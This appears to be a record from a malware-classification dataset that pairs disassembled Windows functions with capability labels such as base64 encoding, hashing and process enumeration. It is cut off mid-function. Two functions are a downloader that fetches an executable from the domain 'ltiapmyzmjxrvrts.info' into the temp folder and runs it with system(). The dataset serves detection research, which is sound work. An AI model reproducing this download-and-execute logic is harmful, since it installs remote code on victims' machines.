joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180194020
Capabilities:
Encode data using base64

Disassembly:
push rsi
push r12
push r13
push r15
sub rsp, 0x28
xor r15d, r15d
mov r13, r8
mov qword [rdx], r15
mov r12, rdx
mov dword [r8], r15d
mov rsi, rcx
test rcx, rcx
je 0x180194201
mov qword [rsp + 0x68], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rcx + rdi], r15b
jne 0x180194053
test edi, edi
jne 0x180194077
mov rdi, qword [rsp + 0x68]
mov eax, r15d
mov qword [rdx], r15
add rsp, 0x28
pop r15
pop r13
pop r12
pop rsi
ret
mov qword [rsp + 0x20], r14
mov eax, edi
cdq
and edx, 3
add eax, edx
mov r14d, eax
and eax, 3
sar r14d, 2
cmp eax, edx
jne 0x1801941f7
mov qword [rsp + 0x58], rbx
lea ebx, [r14 + r14*2]
movsxd rcx, ebx
mov qword [rsp + 0x60], rbp
call fcn.1801a2110
movsxd rcx, edi
lea edx, [rbx - 1]
mov rbp, rax
cmp byte [rcx + rsi - 1], 0x3d
cmovne edx, ebx
cmp byte [rcx + rsi - 2], 0x3d
mov ebx, r15d
movsxd rcx, r14d
lea eax, [rdx - 1]
cmovne eax, edx
mov dword [rsp + 0x50], eax
test r14d, r14d
jle 0x1801941e7
mov rdi, r15
lea rdx, str.________________________________________________456789:_________
nop word [rax + rax]
movsx rax, byte [rsi + rdi*4]
movzx r11d, byte [rax + rdx]
cmp r11b, 0x40
jae 0x180194129
movsx rax, byte [rsi + rdi*4 + 1]
movzx r10d, byte [rax + rdx]
cmp r10b, 0x40
jae 0x180194129
movsx rcx, byte [rsi + rdi*4 + 2]
lea r9d, [r14 - 1]
movzx edx, byte [rcx + rdx]
cmp ebx, r9d
jge 0x180194156
cmp dl, 0x40
jb 0x180194166
mov rcx, rbp
call fcn.1801a1d24
mov eax, 0x80004005
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x68]
add rsp, 0x28
pop r15
pop r13
pop r12
pop rsi
ret
cmp dl, 0x40
jb 0x180194166
cmp cl, 0x3d
jne 0x180194129
cmp byte [rsi + rdi*4 + 3], cl
jne 0x180194129
movsx r8, byte [rsi + rdi*4 + 3]
lea rcx, str.________________________________________________456789:_________
movzx ecx, byte [r8 + rcx]
cmp ebx, r9d
jge 0x180194184
cmp cl, 0x40
jae 0x180194129
jmp 0x18019418f
cmp cl, 0x40
jb 0x18019418f
cmp r8b, 0x3d
jne 0x180194129
movzx eax, r10b
shl r11b, 2
shr al, 4
and cl, 0x3f
and al, 3
shl r10b, 4
or al, r11b
inc ebx
mov byte [r15 + rbp], al
inc rdi
movzx eax, dl
shl dl, 6
shr al, 2
or cl, dl
and al, 0xf
mov byte [r15 + rbp + 2], cl
or al, r10b
lea rdx, str.________________________________________________456789:_________
mov byte [r15 + rbp + 1], al
add r15, 3
movsxd rax, r14d
cmp rdi, rax
jl 0x1801940f0
mov eax, dword [rsp + 0x50]
xor r15d, r15d
mov qword [r12], rbp
mov dword [r13], eax
mov eax, r15d
jmp 0x180194136
mov eax, 0x80004005
jmp 0x180194140
mov eax, 0x80004005
add rsp, 0x28
pop r15
pop r13
pop r12
pop rsi
ret
Function at 0x180194230
Capabilities:
Encode data using base64

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
mov qword [r8], 0
mov rdi, r8
mov esi, edx
mov rbp, rcx
test rcx, rcx
je 0x18019444a
test edx, edx
jne 0x18019426c
lea ecx, [rdx + 1]
call fcn.1801a2110
mov qword [rdi], rax
mov byte [rax], sil
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x40], rbx
mov eax, 0xaaaaaaab
mul esi
mov qword [rsp + 0x48], r14
mov r14d, edx
mov qword [rsp + 0x50], r15
shr r14d, 1
lea eax, [r14 + r14*2]
sub esi, eax
xor eax, eax
test esi, esi
setg al
add eax, r14d
shl eax, 2
movsxd rbx, eax
lea rcx, [rbx + 1]
call fcn.1801a2110
xor r10d, r10d
mov qword [rdi], rax
lea r15, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov byte [rbx + rax], 0
test r14d, r14d
je 0x18019435f
xor r11d, r11d
mov r10d, r14d
xor ebx, ebx
nop dword [rax]
mov rcx, qword [rdi]
movsxd r8, ebx
add ebx, 3
movsxd r9, r11d
add r11d, 4
movzx eax, byte [r8 + rbp]
shr rax, 2
movzx eax, byte [rax + r15]
mov byte [r9 + rcx], al
movzx edx, byte [r8 + rbp]
movzx eax, byte [r8 + rbp + 1]
and edx, 3
mov rcx, qword [rdi]
shr rax, 4
shl rdx, 4
or rdx, rax
movzx eax, byte [rdx + r15]
mov byte [r9 + rcx + 1], al
movzx edx, byte [r8 + rbp + 1]
movzx eax, byte [r8 + rbp + 2]
and edx, 0xf
mov rcx, qword [rdi]
shr rax, 6
shl rdx, 2
or rdx, rax
movzx eax, byte [rdx + r15]
mov byte [r9 + rcx + 2], al
movzx eax, byte [r8 + rbp + 2]
mov rcx, qword [rdi]
and eax, 0x3f
movzx eax, byte [rax + r15]
mov byte [r9 + rcx + 3], al
sub r14, 1
jne 0x1801942d0
mov r14, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
cmp esi, 2
jne 0x1801943e7
mov rcx, qword [rdi]
lea eax, [r10 + r10*2]
movsxd rdx, eax
lea eax, [r10*4]
movsxd r9, eax
movzx eax, byte [rdx + rbp]
shr rax, 2
movzx eax, byte [rax + r15]
mov byte [r9 + rcx], al
movzx r8d, byte [rdx + rbp]
movzx eax, byte [rdx + rbp + 1]
and r8d, 3
mov rcx, qword [rdi]
shr rax, 4
shl r8, 4
or r8, rax
movzx eax, byte [r8 + r15]
mov byte [r9 + rcx + 1], al
movzx eax, byte [rdx + rbp + 1]
mov rcx, qword [rdi]
and eax, 0xf
movzx eax, byte [r15 + rax*4]
mov r15, qword [rsp + 0x50]
mov byte [r9 + rcx + 2], al
mov rax, qword [rdi]
mov byte [r9 + rax + 3], 0x3d
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
cmp esi, 1
jne 0x18019443b
mov rcx, qword [rdi]
lea eax, [r10 + r10*2]
movsxd rdx, eax
lea eax, [r10*4]
movsxd r8, eax
movzx eax, byte [rdx + rbp]
shr rax, 2
movzx eax, byte [rax + r15]
mov byte [r8 + rcx], al
movzx eax, byte [rdx + rbp]
mov rcx, qword [rdi]
and eax, 3
add rax, rax
movzx eax, byte [r15 + rax*8]
mov byte [r8 + rcx + 1], al
mov rax, qword [rdi]
mov byte [r8 + rax + 2], 0x3d
mov rax, qword [rdi]
mov byte [r8 + rax + 3], 0x3d
mov r15, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov eax, 0x80004005
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x1803554b0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x1803554dd
xor al, al
jmp 0x18035563f
mov rax, qword [0x1803756b0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1803756b8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1803756c0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1803756c8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1803756d0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1803756d8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1803756e0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1803756e8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x1803756f0]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x180355631
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x180355589
mov r11d, 2
jmp 0x1803555ad
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x1803555a3
mov r11d, 1
jmp 0x1803555ad
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x180355655
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x1803555f2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x18035560a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x18035561a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x180355628
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x180355570
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x18035563a
Function at 0x18035aea0
Capabilities:
Hash data using sha1

Disassembly:
push rbx
push rsi
push r13
sub rsp, 0xf0
movzx r13d, r9b
mov rbx, r8
mov rsi, rcx
test r9b, r9b
jne 0x18035aed0
call fcn.180359e30
test al, al
jne 0x18035aed0
add rsp, 0xf0
pop r13
pop rsi
pop rbx
ret
mov qword [rsp + 0x118], rdi
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
mov qword [rsp + 0x120], r12
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
call fcn.180364a94
mov r12, rax
test rbx, rbx
je 0x18035b133
lea r9, [rsp + 0x20]
mov r8, rax
mov rdx, rdi
mov rcx, rbx
call fcn.180355660
test al, al
je 0x18035b133
xor edi, edi
xor al, al
mov qword [rsp + 0x110], rbp
mov rbp, qword [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x88], 0x67452301
mov dword [rsp + 0x84], edi
mov dword [rsp + 0x80], edi
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x8c], 0xefcdab89
mov dword [rsp + 0x90], 0x98badcfe
mov dword [rsp + 0x94], 0x10325476
mov dword [rsp + 0x98], 0xc3d2e1f0
mov byte [rsp + 0x30], al
mov rbx, rdi
test rbp, rbp
je 0x18035afd9
nop
movzx eax, byte [rbx + r12]
mov byte [rsp + rcx + 0x40], al
mov rcx, qword [rsp + 0x38]
inc rcx
add dword [rsp + 0x84], 8
mov qword [rsp + 0x38], rcx
jne 0x18035afb7
inc dword [rsp + 0x80]
cmp rcx, 0x40
jne 0x18035afcc
lea rcx, [rsp + 0x30]
call fcn.180355910
mov rcx, qword [rsp + 0x38]
inc rbx
cmp rbx, rbp
jb 0x18035af90
movzx eax, byte [rsp + 0x30]
mov rbp, qword [rsp + 0x110]
mov r8d, 0x40
mov qword [rsp + 0x20], r8
test al, al
jne 0x18035b06f
mov byte [rsp + rcx + 0x40], pe_nt_image_headers64
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp rax, 0x38
jbe 0x18035b02b
cmp rax, r8
jae 0x18035b01c
lea rcx, [rsp + rax + 0x40]
sub r8, rax
xor edx, edx
call fcn.18036a140
lea rcx, [rsp + 0x30]
call fcn.180355910
mov rax, qword [rsp + 0x38]
cmp rax, 0x38
jae 0x18035b046
mov r8d, 0x38
lea rcx, [rsp + rax + 0x40]
xor edx, edx
sub r8, rax
call fcn.18036a140
mov eax, dword [rsp + 0x80]
lea rcx, [rsp + 0x30]
bswap eax
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x84]
bswap eax
mov dword [rsp + 0x7c], eax
call fcn.180355910
mov byte [rsp + 0x30], 1
mov rcx, rdi
mov eax, dword [rsp + rcx*4 + 0x88]
inc rcx
bswap eax
mov dword [rsp + rcx*4 + 0x98], eax
cmp rcx, 5
jb 0x18035b072
lea r9, [rsp + 0x20]
lea r8, [rsp + 0xb0]
lea rcx, [rsp + 0x9c]
mov edx, 0x14
call fcn.1803554b0
mov rdx, qword [rsp + 0x20]
mov rcx, r12
mov byte [rsp + rdx + 0xb0], dil
call fcn.180365308
test r13b, r13b
lea rax, [0x180375a48]
lea rcx, [0x180375a60]
cmovne rcx, rax
cmp byte [rsi + 8], dil
je 0x18035b0ea
nop word [rax + rax]
inc rdi
cmp byte [rsi + rdi + 8], 0
jne 0x18035b0e0
movzx eax, byte [rcx]
test al, al
je 0x18035b10a
cmp rdi, 0x800
jae 0x18035b10a
inc rcx
mov byte [rsi + rdi + 8], al
inc rdi
mov al, byte [rcx]
test al, al
jne 0x18035b0f1
lea rdx, [rsp + 0xb0]
mov r8b, 1
mov rcx, rsi
mov byte [rdi + rsi + 8], 0
call fcn.18035a590
test r13b, r13b
je 0x18035b12f
mov rcx, rsi
call fcn.18035a6c0
mov al, 1
jmp 0x18035b13d
mov rcx, r12
call fcn.180365308
xor al, al
mov rdi, qword [rsp + 0x118]
mov r12, qword [rsp + 0x120]
add rsp, 0xf0
pop r13
pop rsi
pop rbx
ret
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40145d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.856651137
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d0_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOctetsCpy
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40145d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.856651137
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020aa]
mov r11, rax
lea rax, str.d0_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.snmpapi.dll_SnmpUtilOctetsCpy
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x140006ce0
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x490], rbx
mov rax, qword [0x140068010]
xor rax, rbp
mov qword [rbp + 0x440], rax
mov rdi, rdx
mov dword [rbp], 0x438
mov edx, dword [rcx + 0x10]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
lea rcx, [rbp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140006d50
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x140006dca
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x140006d7b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400537f0
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x140006dca
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x30]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x140006dcd
mov rbx, r14
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x140006dda
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140006df2
inc rbx
test eax, eax
jne 0x140006de0
test ecx, ecx
mov rcx, rsi
je 0x140006e52
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140006d41
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140006e4e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006e49
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ec9
mov rcx, r8
call fcn.140052bdc
xor eax, eax
jmp 0x140006e95
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov rbx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140006e92
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006e8d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ec9
mov rcx, r8
call fcn.140052bdc
mov rax, rbx
mov byte [rdi], r14b
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x440]
xor rcx, rbp
call fcn.140052740
mov rbx, qword [rbp + 0x490]
lea rsp, [rbp + 0x450]
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400070a0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x290
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], rdi
mov rax, qword [0x140068010]
xor rax, rbp
mov qword [rbp + 0x240], rax
mov rdi, rdx
mov dword [rbp], 0x238
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
nop word [rax + rax]
lea rcx, [rbp + 0x2c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140007120
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x14000719a
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000714b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400537f0
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x14000719a
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x2c]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x14000719d
mov rbx, r14
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x1400071aa
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x1400071c2
inc rbx
test eax, eax
jne 0x1400071b0
test ecx, ecx
mov rcx, rsi
je 0x140007222
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140007110
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000721e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140007219
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400072a3
mov rcx, r8
call fcn.140052bdc
xor eax, eax
jmp 0x140007263
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov ebx, dword [rbp + 8]
cmp rdx, 0x10
jb 0x140007261
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14000725c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400072a3
mov rcx, r8
call fcn.140052bdc
mov eax, ebx
mov byte [rdi], r14b
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x240]
xor rcx, rbp
call fcn.140052740
mov rbx, qword [rbp + 0x270]
mov rsi, qword [rbp + 0x280]
mov rdi, qword [rbp + 0x288]
lea rsp, [rbp + 0x250]
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140009eb0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140009f0d
lea rbx, [0x1400591c0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140009ef4
cmp r10, 2
jb 0x140009ef4
cmp byte [r9], r8b
jne 0x140009ef4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140009ed0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140009f4f
lea rbx, [0x1400591c0]
cmp r8b, 0x23
jne 0x140009f33
cmp byte [r9], r8b
jne 0x140009f33
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140009f20
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x14000a090
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000a0aa
mov qword [r8], 0
lea rdx, [0x140058d20]
call fcn.140009f60
mov rbx, rax
test rax, rax
jne 0x14000a0ca
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000a1a1
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000a1a1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000a1a1
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000a1a1
cmp rdi, 0xffffffffffffffff
je 0x14000a1a1
mov rax, qword [0x140068da0]
test rax, rax
je 0x14000a13e
inc dword [rax + 0xf4]
mov rcx, rdi
